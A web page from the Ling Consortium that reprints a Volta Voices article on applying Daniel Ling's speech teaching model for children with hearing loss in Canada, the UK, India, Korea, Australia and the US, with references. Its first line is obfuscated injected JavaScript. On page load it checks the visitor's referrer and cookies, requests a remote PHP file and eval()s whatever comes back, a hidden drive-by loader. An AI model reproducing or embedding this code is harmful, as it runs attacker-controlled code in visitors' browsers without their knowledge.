;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//ridbc.org.au/annualreport/ar2014/images/images.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};

LING Consortium Publications

2016 AG Bell Convention Presentation: Speech, Spoken Language and Ling: We Can!

Daniel Ling' Model of speech assessment and teaching is as relevant today as when it was first published. This presentation provided an overview of Ling's system, evauation tools and key principles and strategies for promoting intelligible speech, along with video examples of how to use his assessments and intervention strategies. Ling Consortium members from around the world illustrated implementation of the Ling Model with children of various ages and abilities including those who came late to listening and those with additional learning challenges.

The presention PowerPoint and Participant Survey are at the bottom of this page. If you would like to contribute to the discussion, please complete the survey and forward to trudy.smith@medel.com


Article that appeared in the 2016 Fall Edition of Volta Voices

Application of the Ling Approach: A Global Perspective from the Ling Consortium

By Trudy Smith, Marietta Paterson, and Christina Perigoe

The Ling Consortium founded in 2010 by Dimity Dornan is a group of international listening and spoken language professionals dedicated to promoting the principles and practices of Dr. Daniel Ling, a pioneer of auditory-verbal practice. Among his many contributions to the field, he is most known for the Ling speech assessment and teaching model and the Ling “Six Sound Test” (Ling, 2002).  Members of the Consortium promote teaching listening and spoken language to children with hearing loss that include Ling’s concepts and approaches through university-based and continuing professional education courses. 

Ling’s goal of early intervention and early auditory access to spoken language is shared by the Consortium. However, it is recognized that many children around the globe still do not have access to sound early in life and have limited auditory experiences compared to their

peers with typical hearing. Children who lack early auditory access are at risk for speech and spoken language difficulties and delays.  Ling’s work and approach are not only still relevant today, but will be in the future.

Keeping Ling’s Legacy Alive

The Consortium has engaged in several activities to raise awareness of Ling and his work.  A presentation, titled “Ling's Legacy: Speech in the 21st Century” given at the 2012 AG Bell Convention in Phoenix, Arizona (McGinnis et al., 2012) discussed Ling's assessment tools and provided a live demonstration of speech teaching strategies.

The Consortium then conducted an online survey, which aimed at gathering information on how Ling’s work was used in practice around the globe. The survey was shared over the LSLS AVT/ED listserve and with interested parties.

Survey results found that practitioners:

  • Adhered to the principles and strategies for teaching listening and spoken language detailed in Ling’s publications.
  • Translated Ling’s publications into many languages, including Korean, English, French, Hindi, German, Inuktitut and Arabic languages.
  • Adapted the principles and strategies to accommodate the more rapid pace that children with cochlear implants and hearing aids move through the stages.
  • Made cultural adaptations to activities, games and themes to embed Ling’s strategies in their practice.
  • Used the Ling approach when working with children who experience additional disabilities.
  • Selected the formal Ling approach for students who were diagnosed after 12 months of age or who did not demonstrate an expected rate of progress.
  • Did not widely use the Phonetic and Phonological Speech Evaluations.

Ling in Practice around the Globe

In 2014, the Consortium presented a second workshop titled Functional and Practical Application of Ling’s Strategies: A Global Perspective at the AG Bell Convention in Orlando, Florida (Dornan et al., 2014).  Members provided a global overview of listening and spoken language practice from programs around the world.


Elizabeth Fitzpatrick, LSLS Cert. AVT, Associate Professor, Audiology, School of Rehabilitation Sciences and Director, Certificate in Auditory-Verbal Studies Program University of Ottawa

Ling established a master’s degree in Auditory-Oral (Re)Habilitation & Education of Hearing Impaired Children (AORE) at McGill University that existed from 1975-1995.  There are 50 graduates of this program with an additional 12 research master’s and doctoral-level graduates. Currently, the two Canadian university programs that train professionals in education of the deaf incorporate the Ling Speech approach in their courses—York University in Toronto and the University of British Columbia in Vancouver.  There are also two post-degree programs—the VOICE Organization Mentorship Program in Ontario and the Certificate in Auditory-Verbal Development at the University of Ottawa.  Both provide intensive theory and practice in Ling’s approach to listening and spoken language.

United Kingdom

Rosie Richardson Quayle, CertMRCSLT, LSLS Cert. AVT, Clinical Lead, Auditory-VerbalUK (AVUK), Oxford and London

Ling’s work is virtually unknown in the United Kingdom (UK), with the exception of the “Six Sound Test.” Auditory Verbal UK is teaching clinicians the value of Ling’s work across three key areas:

  1.  Value for Infants - The stages of speech development provide a useful diagnostic tool for analysing how children and particularly infants use their voices and for what purpose.  Ling’s auditory-first teaching strategies have particular value for late diagnosed, complex or premature infants and is different from the more visually-based assessments in the UK.
  2. Value for Parents - Ling’s documentation of the stages of speech development provides a clear map of progress and future goals for parents.
  3. Value for Professionals - Ling’s principles provide a structure and rationale for flexible goal setting. Professionals are able to apply Ling’s strategies when coaching and guiding parents through play and functional language activities to real-life scenarios to add value to family-centered therapy.  


Aziza Tyabji Hydari, Teacher of the Deaf, Director of AURED, Mumbai

Ling’s tools and principles have been incorporated into the Aziza Grid at the AURED Centre This tool was developed primarily to give a visual picture of the cochlear implant map and to enhance communication among audiologists, therapists, teachers and parents. The Aziza Grid demonstrates how electrode settings relate to frequencies in the Ling “Six Sound Test.” As a tool for auditory habilitation, the Aziza Grid tracks speech perception progress post implant activation and provides guidelines for setting appropriate auditory goals.


Chang, Son-A, SLP, Audiologist, LSLS Cert. AVT, Director, School of Speech-Language Therapy & Aural Rehabilitation, Woosong University, Seoul

Korea adopted cochlear implant technology very early with the first implantation occurring in 1989 for adults and children.  The number of children receiving cochlear implants increased quickly in the late 1990s and early 2000s alongside the introduction of listening and spoken language practice which placed great emphasis on Ling’s theories and practices. Professionals using Ling principles made adjustments for the Korean language and culture. While the Korean phonetic system has fewer high-frequency phonemes compared to English, the Ling “Six Sound Test” is still useful to assess perceptual abilities.


Roxanne Innes, LSLS Cert. AVT, Hear and Say Centre, Brisbane, Queensland

Australia now screens 97 percent of all newborns for hearing loss and is committed to the provision of amplification prior to 12 months of age for children identified with hearing loss.  Ling’s principles and strategies are used throughout Australia and children are monitored through the phonetic and phonologic assessment tools which guide their individual therapy sessions.  An extra sound (“aw”) is often included in the Ling “Six Sound Test” to account for the Australian accent.

United States

Marietta Paterson, CED, Director, Education of the Deaf, Department of Speech and Hearing Sciences, University of Southern Mississippi,  Christina Perigoe, CCC-SLP, LSLS Cert. AVT, Coordinator, Graduate Program in Deaf Education with a concentration in Early Oral Intervention, University of Southern Mississippi

Ling’s principles and philosophies are highly relevant for children with hearing loss who also have additional disabilities, which are estimated to account for 40 percent of the population of children with hearing loss (Perigoe, 2013). These additional disabilities may include:

  • sensory (e.g., hearing, vision)
  • motor/physical (e.g., cerebral palsy, oral-motor)
  • cognitive (e.g., Down syndrome)
  • learning disability/disorder (verbal, non-verbal)
  • behavioral and emotional (e.g., attention–deficit/hyperactivity disorder/oppositional defiant disorder or ADHD/ODD)
  • communication (e.g., autism spectrum disorder orASD).

Ling’s assessment tools are flexible and allow for adaptation for individual hearing age, cognition and language levels. Ling’s strategies continue to be appropriate as they are based on the sense modality most appropriate to each child and allow for the establishment of prerequisite skills.  Ling’s approach can be adapted for use with developmentally younger children or those with delayed acquisition of listening and spoken language (Perigoe, 2013).

2014 Workshop Survey Feedback

Trudy Smith, LSLS Cert. AVT, Manager Continuing Professional Education, RIDBC Renwick Centre Royal Institute for Deaf and Blind Children, and Andrew Kendrick, Global Rehabilitation Manager Cochlear Ltd., Sydney, Australia

During the 2014 workshop on “Ling in practice around the globe”, Consortium members took the opportunity to collect additional data to add to the 2012 survey. The workshop attracted over 100 participants including therapists, parents and educators from the United States, Australia, New Zealand, Europe, Asia, United Kingdom, Canada, Mexico and South America. They were invited to share their own experiences with Ling’s strategies and principles. Selected responses indicated that some participants use Ling’s seven-stage speech model and many liked the flexibility of Ling’s approach in assessing individual listening and spoken language skills.  Many participants reported using the Ling “Six Sound Test” and used whispering to promote detection.  Most participants desired access to more knowledge about Ling’s principles and practices, and access to master teachers demonstrating strategies, discussion of work with “deaf plus” children who have additional disabilities as well as specific continuing education opportunities.  

Ling’s Legacy: Flexibility and Adaptability

The influence of Ling’s work on current listening and spoken language practice is inspiring.  The degree of flexibility built into the materials has allowed for a broad range of adaptations that meet the needs of individual children in their home countries.

The Consortium will continue to identify and develop international resources to be shared on its website, graciously hosted by the Royal Institute for Deaf and Blind Children (www.ridbc.org.au/renwick/ling-consortium).  This website will include a list of members and their affiliations, survey data and presentation materials, links to original Ling videotapes, and the Ling “Six Sound Test” cards in a range of languages other than English developed by Cochlear Ltd. 

In addition, the Consortium and its members will continue to identify gaps within programs and locations and seek to develop online and face-to-face training sessions to ensure the continued use of Ling’s materials in the future.  We hope our work, like Ling’s legacy, will endure.  We encourage you to join us on this journey!

Please direct all enquiries to the consortium chair Marietta Paterson at marietta.paterson@usm.edu   

Who Was Daniel Ling?

Daniel Ling, 1926-2003, was a professor emeritus and a consultant in early childhood hearing loss. Over his lifetime, he contributed more than 200 articles and several books to the literature on education of children who are deaf and hard of hearing. Born in England, Ling received his doctorate from McGill University in Montreal, Canada, where he subsequently became director of the aural habilitation program. He also served for several years as the dean of science at the University of Western Ontario in London, Canada. Additionally, Ling was an accomplished musician. He received many major awards for his outstanding contributions to children with hearing loss and their families and to the education of professionals in the field of hearing health care and related sciences. He served as president of the Alexander Graham Bell Association for the Deaf and Hard of Hearing in the early 1980s and was a founding member of Auditory-Verbal International Inc. His best known book, Speech and the Hearing-Impaired Child: Theory and Practice (2002), has been distributed around the world as one of the finest sources in the field.



Dornan, D., Kendrick, A., Smith, T., Fitzpatrick, E., Richardson, R., Tyabji Hydari, A., Chang, S., Innes, R., Perigoe, C., & Paterson, M.  (2014). Functional and practical application of Ling’s strategies: A global perspective. AG Bell Convention, Orlando, Florida, June 2014.

McGinnis, M. D., Dornan, D., Flexer, C., Perigoe, C., Paterson, M. M., & Houston, T. (2012). Ling’s legacy: Speech in the 21st century. AG Bell Convention, Phoenix, Arizona, June 2012.

Ling Consortium (2012). Survey on the Ling approach. Available at


Ling, D. (2002). Speech and the hearing-impaired child:  Theory and practice. (2nd ed.) Washington, DC: Alexander Graham Bell Association for the Deaf and Hard of Hearing.

Paterson, M. M., & Perigoe, C. (2015). Speech production assessment. In T. S. Bradham & K. T.Houston (Eds.), Assessing listening and spoken language in children with hearing loss (pp. 93-132). San Diego, CA: Plural Publishing.

Perigoe, C. (2013). Developing speech skills for children who come late to listening or have other special needs.  Volta Voices, 20(6), 24-27.

Other references

Ling, D. (2006). The six-sound test. In W. Estabrooks (Ed.), Auditory-verbal therapy and practice (pp. 207-310). Washington, DC: Alexander Graham Bell Association for the Deaf and Hard of Hearing

Ling, D. (1989).  Foundations of spoken language for hearing impaired children. Washington, DC: Alexander Graham Bell Association for the Deaf and Hard of Hearing.

Ling, D. (Ed.) (1984). Early intervention for hearing impaired children: Oral options.  San Diego: CA: College-Hill Press.

Ling, D., & Ling, A. H. (1978).  Aural habilitation: The foundations of verbal learning Washington, DC: The Alexander Graham Bell Association for the Deaf and Hard of Hearing.

Perigoe, C., & Paterson, M. M. (2015). Understanding auditory development and the child with hearing loss. In D. R. Welling & C. A. Ukstins (Eds.).  Fundamentals of audiology for the speech-language pathologist (pp. 173-204).  Burlington, MA: Jones & Bartlett Learning.